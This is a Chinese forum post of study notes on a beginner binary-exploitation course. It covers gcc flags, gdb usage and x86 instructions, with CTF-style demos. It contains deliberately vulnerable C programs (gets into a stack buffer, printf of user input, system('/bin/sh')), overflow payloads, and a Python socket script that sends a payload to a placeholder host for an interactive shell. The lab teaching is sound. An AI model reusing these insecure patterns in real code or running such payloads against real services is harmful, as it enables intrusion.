首页
社区
课程
招聘
[原创]你想有多pwn(入门第一章)
发表于: 2024-10-27 14:22 2244

[原创]你想有多pwn(入门第一章)

2024-10-27 14:22
2244

--b站up主"国资社畜“《你想有多pwn》学习记录与补充

qaq真的很感谢这个up主提供的pwn入门课程,对pwn新手真的特别友好,学pwn必备!感觉看了一部分《程序员的自我修养》和这个课,可以说打通了一小部分pwn的任督二脉了,总之算是学pwn的一个很好开头,希望今后的学习也能保持这种状态!

2024-07-25-15-46-01

上面的之所以是副武器,因为实际上并不算经常用或者用的不多。

(1)-o参数:
gcc xx.c -o 程序名【直接编译成程序】
可以发现直接编译后所有的保护都已开启:
2024-07-30-16-58-58

(2)-S参数:
gcc -S xx.c 【编译成汇编代码(注意这里和objdump反汇编出来的还是有点差别的,这个是程序对应的真正的汇编代码)】
两者的区别如下:
2024-07-30-17-34-01
可以发现前者显示结果更加简洁,并且几乎只有汇编指令,也不像后者还有包含.plt等其他elf程序节中的细节信息
2024-07-30-17-53-35

(3)-m32参数:
将程序用x86指令集编译成32位程序,但是要注意得提前安装好相应的库:

(4)-O参数:
关于gcc的-O选项,有对应的等级,默认是1,意思是编译时优化的级别,比如课程中的源码:

观察源码会发现这里的if体中不可能执行,因为一开始都没有为b[0]赋值,但是编译时如果采取默认的优化级别,编译器会本着实事求是的原则,既然写了,就让该部分被编译,所以我们最终能实现缓冲区溢出获取shell,但是如果编译时优化级别设置较高,比如-O3,那么编译器会认为其不可能执行,所以不将该部分编译,我们就获取不到shell,也就是不可能执行func(sh)

(5)-static参数:
gcc加参数-static即可静态编译,静态编译后的程序明显比默认用动态编译的程序占用空间大:
2024-07-31-09-54-17

发现当检查保护的时候,同样都是默认编译的64位程序,静态程序则默认没有开启PIE:
2024-07-31-09-19-13
查看文件时也存在些差异:
2024-07-31-09-21-26
注意到静态程序是叫executable,动态程序是叫shared object,发现既有标明静/动态链接,动态链接程序还标出了依赖外部的动态共享库文件/lib64/ld-linux-x86-64.so.2,而前者没有,因为静态链接可执行文件已包含了所有必需的库文件,不需要依赖外部的共享库

而且当查看两者的汇编指令时也能发现:
静态程序是:
2024-07-31-10-08-03
而动态程序是:
2024-07-31-10-09-06
发现汇编代码几乎是一样的,只是偏移位置不一样,还有call调用函数时,动态链接程序是xxx@plt,即得从plt表中寻找,因为前面提到过动态链接程序要依赖外部共享库

(6)-fno-omit-frame-pointer参数:
对解题的方法没啥区别,只是汇编指令部分发生了些变化。观察会发现原来基本都是以rbp/ebp为基准来计算、赋值的,加了该参数后,有些地方就可能以rsp/esp为基准。
同样还是以64位程序为例,只加该编译参数。

chatgpt对该参数的解释:
通过使用该选项,编译器将禁用帧指针的省略优化,确保帧指针在编译后的二进制文件中保留,例如,在进行调试或进行栈回溯(stack backtrace)时,帧指针可以提供更好的调试信息,帮助开发人员跟踪函数调用链和定位问题。

(7)-no-pie参数
效果看下面的实验。

设置默认以intel格式输出反汇编代码:

最上面加上:

gdb 程序名 【加载程序】
si 【步入】
ni 【步过】
finish 【步出】
start 【开始运行到程序入口点(注意是由gcc内部机制判断出来的,不一定完全准确,所以有些情况需要自己手动判断)】
i r 【这里是缩写,下文同理,查看当前所有用到的寄存器状态】
disassemble $rip 【反编译当前rip所在的指令上下文】

p $寄存器【打印寄存器中存的值(有时候还能用来计算寄存器的偏移地址,比如p $rbp-0x10)】
p &函数名 【打印符号表中存在的某个函数地址】

b *地址【设置断点】
i b【查看所有设置的断点】
d 断点对应的序号 【删除指定断点(但是在实际运用中,一般不采用删除断点,而是让其失效,万一下次还要用到)】
disable b 断点对应的序号 【让指定断点失效】
enable b 断点对应的序号 【让已失效断点重新激活】
c(continue) 【运行到下一个断点为止】

x/20i 地址或$rip 【以汇编代码格式显示从该地址开始的20条内存单元中的数据】
(下面如果想要数据输出格式为十六进制,可以再加个x,如gx)
x/20b 地址或$rip 【以每1byte十进制格式显示从该地址开始的20条内存单元中的数据】
x/20g 地址或$rip 【以每8byte十进制格式显示从该地址开始的20条内存单元中的数据】
x/20s 地址或$rip 【以字符串格式...】

set *地址=值 【将某个地址中的值设置为我们想要的值】

如果要设置寄存器中的值呢?
注意要强制转换一下先,如:
set *((unsigned int)$ebp)=0x18

用于显示当前线程的内存映射信息,通过查看内存映射信息,可以了解程序的内存布局,包括代码段、数据段、堆、栈以及共享库等的位置和属性。

小背景:由于现在版本的编译器比起以前越来越智能,实际上很多指令在编译器编译时都很少用到了,一般都会做优化处理,而且时代变了,寄存器也不再像从前那样细分若干个并几乎各司其值,很多寄存器实际上编译时也用不到了,除了少部分寄存器几乎只履行自己职责外,如bp和sp类型寄存器一般用于栈操作、ip类型寄存器用于指向当前指令位置,大部分的很多寄存器其实都可以身兼多职。总之,ip类寄存器是老大,最重要的,bp类是老二,sp类是老三,因为内存离不开栈,栈需要bp和sp工作,剩余其他寄存器现在几乎都没啥区别了,也不是特别重要。

现在的编译器一般不用lea作为载入地址了(但是如果不加方括号的情况下是作为该原用途),一般用于计算,
比如 lea rax,[rbp-0x18] 【把rbp地址减去0x18后的地址给rax】

那么为什么不用

因为这是编译器为了提高效率优化的方式,它占用的指令长度也更短。而且这种方式还不需要改变rbp的值就可以实现

一般用于将寄存器的值归零,如xor eax,eax

两个都是减,只是相减后的结果处理不同,cmp对相减后的结果不进行赋值存储,仅用于作判断,和条件跳转指令搭配着用,其实c语言中只要包含cmp的函数都是这个原理

and eax,eax
test eax,eax -> eax&eax, eax=0则结果为0;eax!=0则结果为!0

与sub和cmp的区别同理,test和and指令差不多,只是test只用于比较最后不赋值,而and赋值。
另外,这里的test eax,eax其实就相当于cmp eax,0,只是编译器为了优化而选用test而已。

move eax,BYTE PTR [rbp-0x10],其中PTR代表指针,
意思是把[rbp-0x10]地址的值中取1个BYTE即8位给eax寄存器。

常见的单位还有:

在传递数据时,cpu会优先从寄存器中取值,但是寄存器数量有限,如果定义的变量数目远超过寄存器数量,那么多余的变量会先存储在虚拟内存空间中,当需要时再和寄存器做交互传递值。比如上面的[rbp-0x10]就是从虚拟内存地址中找到然后传值的,然后像push就是把暂时用不到的先放到虚拟内存中。

这个函数常用于做字符串比较,实际看反汇编代码过程中其实当成cmp去识别就好了

常用的部署命令:

因为有些时候比如题目中的比较字符是一个不可打印字符,如0x10,虽然我们在gdb调试中可以试着将虚拟内存中对应的数据改成0x10从而getshell,但是在shell中运行程序时是输入不了像0x10这样的不可打印字符的,如果我们输入它,会被当成字符串,也就是会把0x10拆分着看,而不是将其当作一个整体,所以这时候要用到python脚本中已有的模块来实现

gcc版本都是在9.3~9.4的,并且在ubuntu20.04环境编译,部分题要在其他系统利用记得要带上相应的动态链接库.so文件

demo位置:/chapter_1/test_1/question_1_x64

简单代码审计分析:

我们刚拿到程序时首先要直到它都做了啥,所以第一步先运行程序:
2024-07-31-15-21-50
显然就是获取我们的输入然后再输出而已。

然后开始调试,首先gdb加载程序进行简单的反汇编代码分析后,在如下位置设一个断点(设完断点下次重新运行时就可以快速run到该位置,而不需要反复地ni再寻找):
2024-07-31-15-35-22
因为后面的cmp al,0x61就是决定是否跳转的关键(因为它就是源代码if条件中的底层判断实现),如果跳转了那就和我们的shell说拜拜了,所以我们可以在该断点处(也就是gets这个不安全输入)执行之前进行修改内存中的值从而实现绕过,假设一开始我们也不知道源码即纯黑盒测试的情况,那么我们肯定也不知道具体要输入多少个字符来实现溢出,在哪个位置放我们的溢出字符,还无法精准利用,所以刚开始的思路就是随便输入多一些字符,看它们在内存中的什么位置,注意这里的内存指的是虚拟内存空间。这里我们就随便输入hhhhhhhhhhhhhh,然后我们注意到在cmp al,0x61前的指令movzx eax, byte ptr [rbp - 0x10],把地址[rbp - 0x10]中的值给eax,而cmp的比较中al又包含在eax中,两者是有关联的!(所以这个地方也可以下一个断点)。显然此时我们肯定得先看看[rbp - 0x10]中都存的是啥,即它的虚拟内存空间情况:
2024-07-31-16-07-39

注意如果是用g格式来输出的话,要注意大小端序的问题,内存中一般用的是小端序
2024-07-31-16-14-26
对比该处反汇编指令movzx eax, byte ptr [rbp - 0x10],可以发现这里只是把[rbp - 0x10]即地址0x7fffffffe350位置存的第一个字节0x68(即输入中的h)

2024-07-31-16-15-21
【来自于ascii码表的比对】

给寄存器rax的最低位al而已,从这也能发现我们实际上只要输入8个任意字符加上溢出字符a(其对应的ascii码十六进制正好是0x61)即可:
2024-07-31-16-25-12
所以如果此时就可以通过修改内存,把地址0x7fffffffe370处的这个溢出字符0x68改成0x61,后续就能实现不跳转从而getshell了:
2024-07-31-16-27-13
然后步过到下一条指令,检查一下rax是不是确实也变成了0x61:
2024-07-31-16-28-18
然后一直步过发现确实就能执行到func从而getshell了:
2024-07-31-16-29-57
最后再运行程序利用一下:
2024-07-31-16-30-44

(1)编译时加上-fno-omit-frame-pointer参数:
demo位置:/chapter_1/test_3/question_1_x64_rsp
源码一样,打法也一样,这里主要看加该参数后动态调试时有什么变化:
2024-07-31-16-50-34
可以发现原本是以rbp来作为计算的基准了,现在都变成了rsp,也就是编译时默认优化rsp被取消了

(2)编译时加上-O3参数:
demo位置:/chapter_1/test_3/question_1_x64_O3
对比发现加了O3优化之后就打不通了:
2024-07-31-16-53-09

(3)编译时加上-no-pie参数:
demo位置:/chapter_1/test_4/question_1_x64_nopie

源码一样,打法也一样,看看变化:
2024-07-31-16-58-36
可以发现这里所有地址偏移都变成了以0x40开头和原来不同了,然后我们来对比一下运行时(即此时动态调试中通过gdb实现的反汇编代码)和编译时(即真正的汇编代码),以此处的gets函数的地址为例:

可以用objdump:

(可是objdump好像也是通过反汇编?那这里用objdump作对比ok吗?难道不应该直接编译成汇编代码来对比吗?不对,可是这样就看不到地址了。。踩个坑)

(--来填坑啦^-^通过和chatgpt的讨论,搞明白了:
file

所以这里是对比加了-no-pie编译后,程序运行前后反汇编代码的变化
因此可以通过这种方式比较:
file
file
发现两者地址是一样的,这就是开了-no-pie后的效果,再看一下默认有pie编译后的(即最初的程序):
file
file
很明显不同了

demo位置:/chapter_1/test_5/question_2_x64

简单代码审计分析:

2024-07-31-17-10-59
调试过程也大同小异,这里就省略了。

demo位置:/chapter_1/test_6/question_1_plus_x64

简单代码审计分析:

刚好这里就很贴近于实际打pwn的情况,为了模拟,我们把这个题目部署到远程云服务器的ubuntu20.04打一下,使用的python脚本:

然后自行测试是否能打通。(补充:之前用ubuntu20测试是可以的,但是后续打不通了,不知道为什么,估计和apt管理的包更新后gcc版本等有关系吧,不细究了)

demo位置:/chapter_1/test_7/question_3_x64

简单代码审计分析:

调试分析后发现这两行指令比较关键:
2024-08-01-16-55-25
仔细观察,整个反汇编代码结构其实和上面的程序很像。这里的mov主要是将地址[rbp-0x10]开始的8个字节都给rdx寄存器,这里出现的call rdx就很有意思,因为之前常见的都是call某个函数,我们可以稍微了解一下rdx一般用来干嘛的:
2024-08-01-17-02-48
了解到,原来rdx还可以用来存储函数地址然后间接调用,这刚好也就是解出这道题目的核心了,因为这里的地址最初是来源于我们的输入内容的一部分,换句话说,这里间接调用的call的函数地址是可控的!好家伙,还能这么玩。所以我们同样在执行这条汇编指令之前尝试修改[rbp-0x10]内存中的数据,在这之前先随便输入:hhhhhhhhhhhhhh,同样通过查看[rbp-0x10]对应的虚拟内存,来跟踪到我们的输入:
2024-08-01-17-08-58
和之前同理,修改该位置,那修改成什么好呢?

前面都是直接修改成某个字符或者字符串对应的ascii码十六进制,上面又讲到地址可控,我们最终目的是getshell,自然而然想到那就让它调用func函数!

先看看func的地址然后改内存,同时我们修改后要注意大小端序问题,然后由最后指向的地址来判断我们修改的是否正确:
2024-08-01-17-12-30
从结果来看,我们前面set执行完变成了大端序的方式存储,而一般来说x/bx后应该是以小端序存储,我们有可能搞错了,直接ni到call rdx,验证下:
2024-08-01-17-17-28
发现该地址确实是我们想要的顺序,说明并没有搞错。

但很奇怪,发现只修改成功了一半,为什么呢?把疑惑告诉了chatgpt:
2024-08-01-17-26-26
发现这个地址也确实是可以被0x8整除的:
2024-08-01-17-27-58
也就是说我们需要再将其填充成八个字节才能满足对齐,即0x000000000040121f,才能成功覆盖,但是构造的set指令就稍微会复杂点,也就是要加入强制转换:set *(long long*)0x7fffffffe340=0x000000000040121f,那为什么要这样写?
2024-08-01-17-33-54
然后发现确实修改成功了:
2024-08-01-17-31-00
再继续ni到call rdx然后直到程序结束:
2024-08-01-17-46-19
2024-08-01-17-47-20
还可以不强制转换,修改完前面四个字节后再试着用0x0来填充后四个字节:
2024-08-01-17-51-24
成功!
2024-08-01-17-52-29

由于前面只是在gdb动态调试过程中在本地强制修改内存值,但显然打的时候要用python脚本打,可以用前面的模板做尝试,唯一要改变的地方就是payload的值:

这里的偏移是0x4的原因在于,因为刚刚从我们第一个的输入h对应的十六进制ascii码0x68到溢出位是4个字节的距离。
但是上面的模板只能打远程,并且不知道什么原因部署远程的时候打的有问题,就直接另写脚本打通本地的pwn了:
2024-08-01-18-13-37

摘自个人博客

sudo apt-get install gcc-multilib g++-multilib module-assistant
sudo apt-get install gcc-multilib g++-multilib module-assistant
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int func(char *cmd){
    system(cmd);
    return 0;
}
 
int main(){
    char a[8] = {};
    char b[8] = {};
    //char a[1] = {'b'};
    puts("input:");
    gets(a); 
    printf(a);
    if(b[0]=='a'){
        func(sh);
    }
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int func(char *cmd){
    system(cmd);
    return 0;
}
 
int main(){
    char a[8] = {};
    char b[8] = {};
    //char a[1] = {'b'};
    puts("input:");
    gets(a); 
    printf(a);
    if(b[0]=='a'){
        func(sh);
    }
    return 0;
}
vim ~/.gdbinit
vim ~/.gdbinit
set disassembly-flavor intel
set disassembly-flavor intel
sub rbp,0x18
mov rax,rbp
sub rbp,0x18
mov rax,rbp
WORD    DWORD    QWORD
16位    32位      64
WORD    DWORD    QWORD
16位    32位      64
socat tcp-l:端口,fork exec:./程序名,reuseaddr
socat tcp-l:端口,fork exec:./程序名,reuseaddr
import socket
import telnetlib
import struct
 
def P32(val):
  return struct.pack("", val)
 
def pwn():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("xxx.xxx.xxx.xxx", 7777))
  payload = 'A'*8 + '/x10'
  s.sendall(payload + 'n')
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
 
if __name__ == "__main__":
  pwn()
 
//该脚本实际上就是模拟我们nc连接远程服务器,然后输入8个A拼接上不可见字符0x10来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多
import socket
import telnetlib
import struct
 
def P32(val):
  return struct.pack("", val)
 
def pwn():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("xxx.xxx.xxx.xxx", 7777))
  payload = 'A'*8 + '/x10'
  s.sendall(payload + 'n')
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
 
if __name__ == "__main__":
  pwn()
 
//该脚本实际上就是模拟我们nc连接远程服务器,然后输入8个A拼接上不可见字符0x10来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数, x64程序
char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int func(char *cmd){
        system(cmd);
        return 0;
}
 
int main(){
    char a[8] = {};
    char b[8] = {};
    //char a[1] = {'b'};
        puts("input:");
        gets(a);
        printf(a);
        if(b[0]=='a'){
                func(sh);
        }
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数, x64程序
char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int func(char *cmd){
        system(cmd);
        return 0;
}
 
int main(){
    char a[8] = {};
    char b[8] = {};
    //char a[1] = {'b'};
        puts("input:");
        gets(a);
        printf(a);
        if(b[0]=='a'){

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 9
支持
分享
最新回复 (3)
雪    币: 77
活跃值: (2016)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
6666
2天前
0
雪    币: 240
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
1天前
0
雪    币: 1367
活跃值: (3189)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
4
有几张图挂了,师傅
20小时前
0
游客
登录 | 注册 方可回帖
返回
//